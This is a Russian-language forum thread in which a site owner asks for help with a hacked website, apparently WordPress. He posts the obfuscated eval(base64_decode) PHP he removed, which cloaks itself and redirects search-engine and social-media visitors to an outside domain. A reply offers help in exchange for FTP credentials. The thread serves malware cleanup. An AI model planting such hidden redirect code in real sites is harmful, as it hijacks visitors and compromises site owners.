[otrishk07]

awmaster08, это вы где такое нашли?

Я удалил из php файлов, которые в корне лежат, этот кусок кода:

eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQ okcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxt KXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXT sNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0K aWYgKCR1YWcpIHsNCmlmICghc3RyaXN0cigkdWFnLCJNU0lFID cuMCIpIGFuZCAhc3RyaXN0cigkdWFnLCJNU0lFIDYuMCIpKXsK aWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vIikgb3Igc3RyaX N0cigkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVy ZXIsInJhbWJsZXIiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJnb2 dvIikgb3Igc3RyaXN0cigkcmVmZXJlciwibGl2ZS5jb20iKW9y IHN0cmlzdHIoJHJlZmVyZXIsImFwb3J0Iikgb3Igc3RyaXN0ci gkcmVmZXJlciwibmlnbWEiKSBvciBzdHJpc3RyKCRyZWZlcmVy LCJ3ZWJhbHRhIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmVndW 4ucnUiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJzdHVtYmxldXBv bi5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaXQubHkiKS BvciBzdHJpc3RyKCRyZWZlcmVyLCJ0aW55dXJsLmNvbSIpIG9y IHByZWdfbWF0Y2goIi95YW5kZXhcLnJ1XC95YW5kc2VhcmNoXD 8oLio/KVwmbHJcPS8iLCRyZWZlcmVyKSBvciBwcmVnX21hdGNoICgiL2 dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibX lzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNl Ym9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY2 9tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUi KSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZW FkZXIoIkxvY2F0aW9uOiBodHRwOi8vd3d3LmlzZmFydC5mYXJ0 aXQuY29tLyIpOw0KZXhpdCgpOw0KfQp9Cn0NCn0NCn0="));

---------- Сообщение добавлено 13:44 ---------- Предыдущее 13:42 ----------

Всё равно при переходе сюда кидает ___http://www.isfart.fartit.com/

[awmaster08]

Здесь расшифровал:

LINK

http://lifewatch.ru/wp-content/theme...Cn0NCn0NCn0%3D

[свернуть]

Посмотрите и вложенные файлы. Возможно из какой-то папки подключается модуль с зловредом.

[Павел Joofaq]

otrishk07, я бы мог Вам помочь и бесплатно. У меня как раз есть свободное время. Но тут уже Вам решать - доверять мне или нет. Так как нужно будет скинуть мне данные для доступа по FTP.

[otrishk07]

Всем спасибо за помощь - решением вопроса уже программист занимается (платно).

P.S. Тему можно закрывать.